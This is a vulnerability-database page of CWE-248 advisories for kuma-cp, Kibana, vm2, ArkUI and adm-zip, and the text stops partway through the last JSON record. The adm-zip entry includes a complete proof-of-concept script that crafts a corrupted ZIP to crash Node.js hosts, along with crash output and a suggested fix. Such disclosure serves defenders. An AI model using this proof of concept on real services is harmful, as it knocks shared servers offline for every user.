Common Weakness Enumeration

CWE-248

Allowed

Uncaught Exception

Abstraction: Base · Status: Draft

An exception is thrown from a function, but it is not caught.

652 vulnerabilities reference this CWE, most recent first.

GHSA-7GH2-244H-962W

Vulnerability from github – Published: 2026-08-12 21:31 – Updated: 2026-08-12 21:31
VLAI
Details

The dataplane token validator in kuma-cp performs an unchecked Go type assertion on the JWT kid header. A token whose kid is a JSON number decodes as a float64 and triggers a runtime panic before any signature, claims, or authorization check runs.

The panic terminates the entire kuma-cp process, HTTP API, the health and readiness endpoints, and xDS. Unauthenticated access to the dataplane gRPC server can trigger the crash with a malformed token

A single request is a transient interruption; sustaining an outage requires repeated requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-18675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-12T19:17:30Z",
    "severity": "MODERATE"
  },
  "details": "The dataplane token validator in kuma-cp performs an unchecked Go type assertion on the JWT kid header. A token whose kid is a JSON number decodes as a float64 and triggers a runtime panic before any signature, claims, or authorization check runs.\n\n\n\nThe panic terminates the entire kuma-cp process, HTTP API, the health and readiness endpoints, and xDS. Unauthenticated access to the dataplane gRPC server can trigger the crash with a malformed token\n\n\n\nA single request is a transient interruption; sustaining an outage requires repeated requests.",
  "id": "GHSA-7gh2-244h-962w",
  "modified": "2026-08-12T21:31:37Z",
  "published": "2026-08-12T21:31:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kumahq/kuma/security/advisories/GHSA-5mxq-7xq4-3vx8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kumahq/kuma/pull/17465"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kumahq/kuma/pull/17467"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kumahq/kuma/pull/17468"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kumahq/kuma/pull/17469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kumahq/kuma/pull/17470"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kumahq/kuma/pull/17471"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kumahq/kuma/pull/17472"
    },
    {
      "type": "WEB",
      "url": "https://developer.konghq.com/mesh/changelog"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7P5F-MRPF-CQR2

Vulnerability from github – Published: 2026-08-13 21:36 – Updated: 2026-08-13 21:36
VLAI
Details

Uncaught Exception (CWE-248), resulting from Improper Input Validation (CWE-20), in Kibana can lead to denial of service via Input Data Manipulation (CAPEC-153). An authenticated user holding only low-privileged access can cause an internal error condition in Kibana by supplying specially crafted data. The resulting error is raised on an execution path so it propagates as an uncaught exception and terminates the Kibana process. Kibana is unavailable to all users until the service is restarted, and the condition can be triggered repeatedly.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-72660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T20:17:26Z",
    "severity": "MODERATE"
  },
  "details": "Uncaught Exception (CWE-248), resulting from Improper Input Validation (CWE-20), in Kibana can lead to denial of service via Input Data Manipulation (CAPEC-153). An authenticated user holding only low-privileged access can cause an internal error condition in Kibana by supplying specially crafted data. The resulting error is raised on an execution path so it propagates as an uncaught exception and terminates the Kibana process. Kibana is unavailable to all users until the service is restarted, and the condition can be triggered repeatedly.",
  "id": "GHSA-7p5f-mrpf-cqr2",
  "modified": "2026-08-13T21:36:09Z",
  "published": "2026-08-13T21:36:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72660"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-8-19-20-9-3-8-and-9-4-5-security-update-esa-2026-101/389517"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7RR2-8FR3-FJQX

Vulnerability from github – Published: 2026-09-27 03:31 – Updated: 2026-10-05 23:19
Withdrawn 2026-10-05 VLAI
Summary
Duplicate Advisory: vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2v2p-6j97-cjg9. This link is maintained to preserve external references.

Original Description

vm2 before 3.12.2 does not apply host-side Promise rejection handling in the sandbox-to-host construct trap. In BaseHandler, the apply trap calls markHostPromiseHandled() on the returned value, but the adjacent construct path returns the result of Reflect.construct without the same sanitization. If an embedder exposes a constructable host function whose constructor returns a native rejected Promise, an untrusted script executed via VM.run can invoke it with new and ignore the result; the rejected host Promise crosses the bridge unhandled and, under Node's strict unhandled-rejection policy, is promoted to an uncaught exception that terminates the host process.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T23:19:29Z",
    "nvd_published_at": "2026-09-27T02:17:18Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-2v2p-6j97-cjg9. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.12.2 does not apply host-side Promise rejection handling in the sandbox-to-host construct trap. In BaseHandler, the apply trap calls markHostPromiseHandled() on the returned value, but the adjacent construct path returns the result of Reflect.construct without the same sanitization. If an embedder exposes a constructable host function whose constructor returns a native rejected Promise, an untrusted script executed via VM.run can invoke it with `new` and ignore the result; the rejected host Promise crosses the bridge unhandled and, under Node\u0027s strict unhandled-rejection policy, is promoted to an uncaught exception that terminates the host process.",
  "id": "GHSA-7rr2-8fr3-fjqx",
  "modified": "2026-10-05T23:19:29Z",
  "published": "2026-09-27T03:31:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-2v2p-6j97-cjg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100722"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.12.2-host-process-termination-via-construct-trap"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process",
  "withdrawn": "2026-10-05T23:19:29Z"
}

GHSA-7X3M-W77C-7WH5

Vulnerability from github – Published: 2025-04-07 06:30 – Updated: 2025-04-07 06:30
VLAI
Details

Exception capture failure vulnerability in the SVG parsing module of the ArkUI framework Impact: Successful exploitation of this vulnerability may affect availability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-58111"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-07T04:15:16Z",
    "severity": "HIGH"
  },
  "details": "Exception capture failure vulnerability in the SVG parsing module of the ArkUI framework\nImpact: Successful exploitation of this vulnerability may affect availability.",
  "id": "GHSA-7x3m-w77c-7wh5",
  "modified": "2025-04-07T06:30:27Z",
  "published": "2025-04-07T06:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58111"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2025/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8238-W5PM-2374

Vulnerability from github – Published: 2026-09-29 23:10 – Updated: 2026-09-29 23:10
VLAI
Summary
adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS)
Details

Summary

Denial of Service in adm-zip's async decompression API allows an unauthenticated attacker to crash the entire Node.js host process by supplying a single malformed ZIP file.

Details

Affected package: adm-zip Affected versions: at least 0.6.0 (current latest); likely all versions containing the current inflateAsync implementation in methods/inflater.js Patched version: 0.6.1

Root Cause

methods/inflater.js:12-32 (inflateAsync) creates a zlib.createInflateRaw(option) stream and feeds it attacker-controlled compressed bytes via tmp.end(inbuf), but never registers an "error" listener on the stream:

inflateAsync: function (/*Function*/ callback) {
    var tmp = zlib.createInflateRaw(option),
        parts = [],
        total = 0;
    tmp.on("data", function (data) { parts.push(data); total += data.length; });
    tmp.on("end", function () { /* build buf, callback(buf) */ });
    tmp.end(inbuf);   // no tmp.on("error", ...) registered anywhere
}

Per Node.js EventEmitter/stream semantics, an "error" event emitted with zero listeners is rethrown as an uncaught exception on a later tick, originating from the zlib C++ binding. This cannot be caught by a try/catch wrapped around the calling code, because the throw happens asynchronously, outside the synchronous call stack the try/catch covers.

This code path is reached from every public async API that decompresses entry data: readFileAsync, readAsTextAsync, extractAllToAsync, and ZipEntry.getDataAsync (zipEntry.js:51, :97-120, :309-315; adm-zip.js:157-164, :192-210, :893).

This library recently patched CVE-2026-39244 (GHSA-xcpc-8h2w-3j85), an unbounded Buffer.alloc() on the synchronous decompression path. That fix added a maxOutputLength option to zlib.inflateRawSync/zlib.createInflateRaw, and the sync path's resulting throw is naturally catchable. The async path shares the same maxOutputLength option (methods/inflater.js:5) but has no error-handling on the stream at all, so it was not covered by that fix and remains exploitable via either of two independent triggers:

  1. A DEFLATE entry with corrupted/malformed compressed bytes (Z_DATA_ERROR) — no special crafting needed.
  2. Compressed data whose inflated size exceeds the declared central-directory size, which now trips the maxOutputLength guard — but on the stream this surfaces via the unhandled "error" event rather than a catchable throw.

Attack Vector

  1. Attacker crafts (or corrupts) a ZIP file containing one DEFLATE-compressed entry with invalid/corrupted compressed bytes. Headers, CRC, and offsets can remain fully valid — only the compressed payload bytes need to be malformed.
  2. Victim application accepts this ZIP as an untrusted upload and processes it via any of adm-zip's async APIs, e.g.: js const zip = new AdmZip(uploadedBuffer); zip.readFileAsync(zip.getEntries()[0], (data) => { /* ... */ });
  3. inflateAsync begins decompressing; zlib emits "error" on Z_DATA_ERROR.
  4. No listener exists for that event, so Node rethrows it as an uncaught exception, crashing the entire host process — killing all in-flight requests for every other user/tenant on that process, not just the attacker's own request.

Impact

Any Node.js service that accepts untrusted ZIP uploads and processes them via adm-zip's async API (the documented, recommended pattern for non-blocking servers) can be crashed by a single unauthenticated request containing one small malicious file. This is a full process-level denial of service, not a per-request error.

Proof of Concept

Attached: poc_async_dos.py. Summary of what it does:

  1. Builds a fully valid ZIP using adm-zip's own writer (new AdmZip(); zip.addFile(...); zip.toBuffer()), guaranteeing correct headers/CRC/offsets.
  2. Locates the local file header's compressed-data region via its own (untouched) size/offset fields and XORs every byte in that region with 0xFF, corrupting only the DEFLATE payload.
  3. Parses the corrupted archive with a fresh new AdmZip(badBuf) (succeeds — headers are intact) and calls entries[0].getDataAsync(callback), wrapped in try/catch, in an isolated child process.
  4. Captures the child's exit code and stderr.

Verified independently 3/3 runs (plus 2 isolating controls: an unmodified zip through the same path does not crash; bare Node zlib.createInflateRaw() fed garbage with no error listener reproduces the identical crash outside adm-zip entirely, confirming the root cause is the missing listener, not something else). Representative output:

[*] Child process exit code: 1
----- Node child process stderr (crash evidence) -----
node:events:497
      throw er; // Unhandled 'error' event
      ^
Error: invalid distance too far back
    at genericNodeError (node:internal/errors:983:15)
    at Zlib.zlibOnError [as onerror] (node:zlib:191:17)
Emitted 'error' event on InflateRaw instance at:
    at emitErrorNT (node:internal/streams/destroy:170:8)
    at emitErrorCloseNT (node:internal/streams/destroy:129:3)
    at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {
  errno: -3,
  code: 'Z_DATA_ERROR'
}
Node.js v22.22.1
--------------------------------------
[*] Caught by harness's own try/catch (would mean NOT vulnerable): False
[*] getDataAsync callback ever fired (would mean NOT vulnerable): False
[*] Child process exited non-zero (crashed): True
[+] VULNERABILITY CONFIRMED

Reproduction: python3 poc_async_dos.py (requires python3 and Node.js; tested on Node.js v22.22.1).

Suggested Fix

Register an "error" listener on the InflateRaw stream in methods/inflater.js's inflateAsync, and route it to the existing callback, e.g.:

inflateAsync: function (/*Function*/ callback) {
    var tmp = zlib.createInflateRaw(option),
        parts = [],
        total = 0;
    tmp.on("data", function (data) { parts.push(data); total += data.length; });
    tmp.on("error", function (err) {
        // surface as a normal async error instead of crashing the process
        callback(Buffer.alloc(0), err);   // or however this codebase's async
                                            // error convention is expressed
    });
    tmp.on("end", function () { /* existing behavior */ });
    tmp.end(inbuf);
}

The exact callback/error-propagation convention should match the rest of the codebase's async error handling style (a quick look suggests callbacks here are currently success-only; this may need a small signature adjustment or an err-first convention, at the maintainer's discretion). The key fix is simply: never leave a Node.js stream without an "error" listener when it can plausibly error on attacker-controlled input.

Full PoC Source (poc_async_dos.py)

#!/usr/bin/env python3
"""
Tested version: adm-zip 0.6.0
Tested on: Linux, Node.js v22.22.1

Description:
  methods/inflater.js:12-32 (inflateAsync) creates a
  zlib.createInflateRaw(option) stream and calls tmp.end(inbuf) without ever
  registering an "error" listener on the stream. Per Node.js EventEmitter
  semantics, an "error" event emitted with zero listeners is rethrown as an
  uncaught exception -- this happens on a later tick from the zlib C++
  binding, so it CANNOT be caught by a try/catch wrapped around the calling
  code. Any code that feeds an untrusted zip file into one of adm-zip's
  public *Async APIs (readFileAsync, readAsTextAsync, extractAllToAsync,
  ZipEntry.getDataAsync) crashes the entire host Node.js process the moment
  it encounters a DEFLATE entry with corrupted/malformed compressed bytes.
  The synchronous decompression path (getData()) was hardened for
  CVE-2026-39244 (maxOutputLength + a throw that is naturally catchable);
  this async streaming path was missed by that fix and remains an
  unauthenticated, single-request availability bug.

Impact:
  Any service that accepts untrusted zip uploads and reads/extracts them
  via adm-zip's async API (the officially documented, recommended usage
  for non-blocking servers) can be crashed by a single malicious zip file,
  with no authentication and no special privileges required.

Reproduction:
  1. Install: this PoC runs directly against the adm-zip source tree this
     script lives alongside (no `npm install` needed -- it requires the
     local checkout via its package.json "main" entry, adm-zip.js).
     Requires: python3, node (tested with Node.js v22.22.1).
  2. Run: python3 poc_async_dos.py
  3. Observe: the spawned Node child process exits non-zero with an
     "Unhandled 'error' event" / Z_DATA_ERROR stack trace on stderr,
     originating from methods/inflater.js's zlib.createInflateRaw stream.
     Neither the harness's try/catch nor the getDataAsync callback ever
     fires -- proving the crash is unrecoverable from calling code.

How the malicious zip is built (see the embedded Node harness in
build_harness_script() below):
  1. Use adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`)
     to produce a fully valid, well-formed zip archive with one DEFLATE
     entry. This guarantees every header/CRC/offset field is structurally
     correct.
  2. Locate the local file header at offset 0 and compute the compressed
     data region from the (untouched) LOCSIZ/LOCNAM/LOCEXT fields.
  3. XOR every byte in that region with 0xFF, corrupting ONLY the DEFLATE
     payload while leaving every size/offset/CRC field in the local header,
     central directory, and EOCD record byte-for-byte unchanged, so
     adm-zip's own parser still locates and slices exactly the right
     region and reaches the vulnerable inflateAsync() call.
"""

import os
import subprocess
import sys
import tempfile

# ============================================================
# Configuration
# ============================================================
PACKAGE_NAME = "adm-zip"
TARGET_VERSION = "0.6.0"
# The adm-zip source tree this PoC lives alongside (Hunter's checkout).
REPO_DIR = os.path.dirname(os.path.abspath(__file__))
NODE_BIN = "node"
SUBPROCESS_TIMEOUT_SECONDS = 20


# ============================================================
# Node.js harness (the genuine trigger -- adm-zip is a JS library, so the
# actual exploit code must run under Node; this Python script builds it,
# runs it in an isolated child process, and interprets the result).
# ============================================================
def build_harness_script(repo_dir: str) -> str:
    return r"""
"use strict";
const AdmZip = require(%(repo_dir)r);

console.log("HARNESS_START");

// Step 1: build a legitimate zip in memory using adm-zip's OWN writer, with
// one DEFLATE-compressed entry. Repetitive text compresses well and
// guarantees the DEFLATED method is chosen (not STORED).
const zip = new AdmZip();
const payload = Buffer.from(
    "The quick brown fox jumps over the lazy dog. ".repeat(200),
    "utf8"
);
zip.addFile("payload.txt", payload, "");
const goodBuf = zip.toBuffer();
console.log("BUILT_GOOD_ZIP bytes=" + goodBuf.length);

// Step 2: locate the local file header (offset 0 in this single-entry
// archive) and corrupt ONLY the compressed-data bytes in place, leaving
// every size/offset/CRC field in the local header, central directory, and
// EOCD record untouched -- so adm-zip's own parser still finds and slices
// exactly the right region and reaches the vulnerable inflateAsync() path.
const LOCSIG = 0x04034b50;
if (goodBuf.readUInt32LE(0) !== LOCSIG) {
    throw new Error("unexpected local header signature -- adm-zip writer output changed");
}
const compressedSize = goodBuf.readUInt32LE(18); // LOCSIZ
const fileNameLen = goodBuf.readUInt16LE(26); // LOCNAM
const extraLen = goodBuf.readUInt16LE(28); // LOCEXT
const dataStart = 30 + fileNameLen + extraLen;
const dataEnd = dataStart + compressedSize;
console.log(
    "LOCAL_HEADER compressedSize=" + compressedSize +
    " dataStart=" + dataStart + " dataEnd=" + dataEnd
);

const badBuf = Buffer.from(goodBuf); // copy, do not mutate original
for (let i = dataStart; i < dataEnd; i++) {
    badBuf[i] = badBuf[i] ^ 0xff; // corrupt every byte of the DEFLATE stream
}
console.log("CORRUPTED_COMPRESSED_BYTES count=" + (dataEnd - dataStart));

// Step 3: parse the corrupted archive (this succeeds -- headers are intact)
// and hit the vulnerable async decompression path.
const zip2 = new AdmZip(badBuf);
const entries = zip2.getEntries();
console.log(
    "PARSED_CORRUPT_ZIP entries=" + entries.length +
    " name=" + entries[0].entryName
);

try {
    // This is the public, documented API a real server would call on an
    // untrusted upload (readFileAsync / getDataAsync / extractAllToAsync
    // all funnel into the same decompress(true, ...) -> inflateAsync path).
    entries[0].getDataAsync(function (data, err) {
        // If this ever fires, the library handled the error gracefully
        // (no crash) -- meaning the vulnerability is NOT present / already
        // fixed in this build.
        console.log(
            "CALLBACK_FIRED data_len=" + (data ? data.length : 0) +
            " err=" + err
        );
    });
    console.log("SYNC_CALL_RETURNED_NO_THROW");
} catch (e) {
    // If this ever fires, the bug is NOT present -- the error would be
    // synchronously catchable by ordinary calling code.
    console.log("CAUGHT_BY_TRY_CATCH: " + e.message);
}

console.log("HARNESS_END_OF_SYNCHRONOUS_CODE");
// Deliberately NOT registering process.on("uncaughtException", ...) here --
// doing so would mask the exact bug under test. A real, unmodified server
// process has no reason to install a blanket uncaughtException handler
// either; that is precisely what makes this an unrecoverable process crash.
""" % {"repo_dir": repo_dir}


# ============================================================
# Step 1: Setup
# ============================================================
def setup():
    """Verify prerequisites and write out the Node.js harness script."""
    print(f"[*] Setting up PoC for {PACKAGE_NAME}@{TARGET_VERSION}")
    print(f"[*] Target adm-zip source tree: {REPO_DIR}")

    main_entry = os.path.join(REPO_DIR, "adm-zip.js")
    if not os.path.isfile(main_entry):
        print(f"[-] Cannot find adm-zip.js at {main_entry}")
        sys.exit(1)

    try:
        node_version = subprocess.run(
            [NODE_BIN, "--version"], capture_output=True, text=True, timeout=10
        )
        print(f"[*] Found Node.js: {node_version.stdout.strip()}")
    except FileNotFoundError:
        print("[-] node binary not found on PATH -- required to run this PoC")
        sys.exit(1)

    handle, harness_path = tempfile.mkstemp(prefix="admzip_async_dos_", suffix=".js")
    with os.fdopen(handle, "w") as f:
        f.write(build_harness_script(REPO_DIR))
    print(f"[*] Wrote Node harness to {harness_path}")
    return harness_path


# ============================================================
# Step 2: Trigger the vulnerability
# ============================================================
def trigger(harness_path):
    """Run the Node harness (in its own isolated child process) that builds
    the malicious zip and feeds it into adm-zip's vulnerable async API."""
    print("[*] Triggering vulnerability (spawning isolated Node subprocess)...")
    try:
        proc = subprocess.run(
            [NODE_BIN, harness_path],
            capture_output=True,
            text=True,
            timeout=SUBPROCESS_TIMEOUT_SECONDS,
            cwd=REPO_DIR,
        )
        return {
            "timed_out": False,
            "returncode": proc.returncode,
            "stdout": proc.stdout,
            "stderr": proc.stderr,
        }
    except subprocess.TimeoutExpired as e:
        return {
            "timed_out": True,
            "returncode": None,
            "stdout": (e.stdout or b"").decode(errors="replace") if isinstance(e.stdout, bytes) else (e.stdout or ""),
            "stderr": (e.stderr or b"").decode(errors="replace") if isinstance(e.stderr, bytes) else (e.stderr or ""),
        }


# ============================================================
# Step 3: Verify impact
# ============================================================
def verify(result):
    """Check that the child process crashed with an unhandled 'error' event
    originating from the async inflater, and that neither the try/catch nor
    the getDataAsync callback in the harness ever ran."""
    print("[*] Verifying impact...")
    print(f"[*] Child process exit code: {result['returncode']}")
    print()
    print("----- Node child process stdout -----")
    print(result["stdout"].rstrip())
    print("----- Node child process stderr (crash evidence) -----")
    print(result["stderr"].rstrip())
    print("--------------------------------------")
    print()

    if result["timed_out"]:
        print("[-] Harness timed out instead of crashing -- inconclusive")
        return False

    stdout = result["stdout"]
    stderr = result["stderr"]
    returncode = result["returncode"]

    reached_vuln_call = "SYNC_CALL_RETURNED_NO_THROW" in stdout
    was_caught = "CAUGHT_BY_TRY_CATCH" in stdout
    callback_fired = "CALLBACK_FIRED" in stdout
    process_crashed = returncode is not None and returncode != 0
    unhandled_error_evidence = (
        "Unhandled 'error' event" in stderr
        or "ERR_UNHANDLED_ERROR" in stderr
        or "Emitted 'error' event on InflateRaw instance" in stderr
    )

    print(f"[*] Reached vulnerable getDataAsync() call without throwing: {reached_vuln_call}")
    print(f"[*] Caught by harness's own try/catch (would mean NOT vulnerable): {was_caught}")
    print(f"[*] getDataAsync callback ever fired (would mean NOT vulnerable): {callback_fired}")
    print(f"[*] Child process exited non-zero (crashed): {process_crashed}")
    print(f"[*] stderr shows an unhandled 'error' event from the InflateRaw stream: {unhandled_error_evidence}")

    success = (
        reached_vuln_call
        and not was_caught
        and not callback_fired
        and process_crashed
        and unhandled_error_evidence
    )
    return success


# ============================================================
# Main
# ============================================================
if __name__ == "__main__":
    print(f"=== CVE-CANDIDATE: {PACKAGE_NAME} async decompression DoS ===")
    print(f"[*] Target version: {TARGET_VERSION}")
    print()

    harness_path = setup()
    try:
        result = trigger(harness_path)
        success = verify(result)
    finally:
        try:
            os.remove(harness_path)
            print(f"[*] Cleaned up temp harness file: {harness_path}")
        except OSError:
            pass

    print()
    if success:
        print("[+] VULNERABILITY CONFIRMED")
        print(
            "[+] Impact: a single untrusted zip file with a corrupted DEFLATE "
            "entry crashes the entire Node.js process when read via any "
            "adm-zip *Async API (readFileAsync / readAsTextAsync / "
            "extractAllToAsync / ZipEntry.getDataAsync). Unauthenticated, "
            "single-request, unrecoverable process-level Denial of Service."
        )
    else:
        print("[-] Vulnerability NOT confirmed")

    sys.exit(0 if success else 1)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "adm-zip"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T23:10:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nDenial of Service in `adm-zip`\u0027s async decompression API allows an unauthenticated attacker to crash the entire Node.js host process by supplying a single malformed ZIP file.\n\n## Details\n\n**Affected package**: adm-zip\n**Affected versions**: at least 0.6.0 (current latest); likely all versions containing the current `inflateAsync` implementation in `methods/inflater.js`\n**Patched version**: 0.6.1\n\n### Root Cause\n\n`methods/inflater.js:12-32` (`inflateAsync`) creates a `zlib.createInflateRaw(option)` stream and feeds it attacker-controlled compressed bytes via `tmp.end(inbuf)`, but never registers an `\"error\"` listener on the stream:\n\n```js\ninflateAsync: function (/*Function*/ callback) {\n    var tmp = zlib.createInflateRaw(option),\n        parts = [],\n        total = 0;\n    tmp.on(\"data\", function (data) { parts.push(data); total += data.length; });\n    tmp.on(\"end\", function () { /* build buf, callback(buf) */ });\n    tmp.end(inbuf);   // no tmp.on(\"error\", ...) registered anywhere\n}\n```\n\nPer Node.js `EventEmitter`/stream semantics, an `\"error\"` event emitted with zero listeners is rethrown as an **uncaught exception on a later tick**, originating from the zlib C++ binding. This cannot be caught by a `try/catch` wrapped around the calling code, because the throw happens asynchronously, outside the synchronous call stack the `try/catch` covers.\n\nThis code path is reached from every public async API that decompresses entry data: `readFileAsync`, `readAsTextAsync`, `extractAllToAsync`, and `ZipEntry.getDataAsync` (`zipEntry.js:51`, `:97-120`, `:309-315`; `adm-zip.js:157-164`, `:192-210`, `:893`).\n\nThis library recently patched **CVE-2026-39244** (GHSA-xcpc-8h2w-3j85), an unbounded `Buffer.alloc()` on the *synchronous* decompression path. That fix added a `maxOutputLength` option to `zlib.inflateRawSync`/`zlib.createInflateRaw`, and the sync path\u0027s resulting throw is naturally catchable. The async path shares the same `maxOutputLength` option (`methods/inflater.js:5`) but has no error-handling on the stream at all, so it was not covered by that fix and remains exploitable via either of two independent triggers:\n\n1. A DEFLATE entry with corrupted/malformed compressed bytes (`Z_DATA_ERROR`) \u2014 no special crafting needed.\n2. Compressed data whose inflated size exceeds the declared central-directory size, which now trips the `maxOutputLength` guard \u2014 but on the stream this surfaces via the unhandled `\"error\"` event rather than a catchable throw.\n\n### Attack Vector\n\n1. Attacker crafts (or corrupts) a ZIP file containing one DEFLATE-compressed entry with invalid/corrupted compressed bytes. Headers, CRC, and offsets can remain fully valid \u2014 only the compressed payload bytes need to be malformed.\n2. Victim application accepts this ZIP as an untrusted upload and processes it via any of adm-zip\u0027s async APIs, e.g.:\n   ```js\n   const zip = new AdmZip(uploadedBuffer);\n   zip.readFileAsync(zip.getEntries()[0], (data) =\u003e { /* ... */ });\n   ```\n3. `inflateAsync` begins decompressing; zlib emits `\"error\"` on `Z_DATA_ERROR`.\n4. No listener exists for that event, so Node rethrows it as an uncaught exception, crashing the entire host process \u2014 killing all in-flight requests for every other user/tenant on that process, not just the attacker\u0027s own request.\n\n## Impact\n\nAny Node.js service that accepts untrusted ZIP uploads and processes them via adm-zip\u0027s async API (the documented, recommended pattern for non-blocking servers) can be crashed by a single unauthenticated request containing one small malicious file. This is a full process-level denial of service, not a per-request error.\n\n## Proof of Concept\n\nAttached: `poc_async_dos.py`. Summary of what it does:\n\n1. Builds a fully valid ZIP using adm-zip\u0027s own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`), guaranteeing correct headers/CRC/offsets.\n2. Locates the local file header\u0027s compressed-data region via its own (untouched) size/offset fields and XORs every byte in that region with `0xFF`, corrupting only the DEFLATE payload.\n3. Parses the corrupted archive with a fresh `new AdmZip(badBuf)` (succeeds \u2014 headers are intact) and calls `entries[0].getDataAsync(callback)`, wrapped in `try/catch`, in an isolated child process.\n4. Captures the child\u0027s exit code and stderr.\n\nVerified independently 3/3 runs (plus 2 isolating controls: an unmodified zip through the same path does not crash; bare Node `zlib.createInflateRaw()` fed garbage with no error listener reproduces the identical crash outside adm-zip entirely, confirming the root cause is the missing listener, not something else). Representative output:\n\n```\n[*] Child process exit code: 1\n----- Node child process stderr (crash evidence) -----\nnode:events:497\n      throw er; // Unhandled \u0027error\u0027 event\n      ^\nError: invalid distance too far back\n    at genericNodeError (node:internal/errors:983:15)\n    at Zlib.zlibOnError [as onerror] (node:zlib:191:17)\nEmitted \u0027error\u0027 event on InflateRaw instance at:\n    at emitErrorNT (node:internal/streams/destroy:170:8)\n    at emitErrorCloseNT (node:internal/streams/destroy:129:3)\n    at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {\n  errno: -3,\n  code: \u0027Z_DATA_ERROR\u0027\n}\nNode.js v22.22.1\n--------------------------------------\n[*] Caught by harness\u0027s own try/catch (would mean NOT vulnerable): False\n[*] getDataAsync callback ever fired (would mean NOT vulnerable): False\n[*] Child process exited non-zero (crashed): True\n[+] VULNERABILITY CONFIRMED\n```\n\nReproduction: `python3 poc_async_dos.py` (requires python3 and Node.js; tested on Node.js v22.22.1).\n\n## Suggested Fix\n\nRegister an `\"error\"` listener on the `InflateRaw` stream in `methods/inflater.js`\u0027s `inflateAsync`, and route it to the existing `callback`, e.g.:\n\n```js\ninflateAsync: function (/*Function*/ callback) {\n    var tmp = zlib.createInflateRaw(option),\n        parts = [],\n        total = 0;\n    tmp.on(\"data\", function (data) { parts.push(data); total += data.length; });\n    tmp.on(\"error\", function 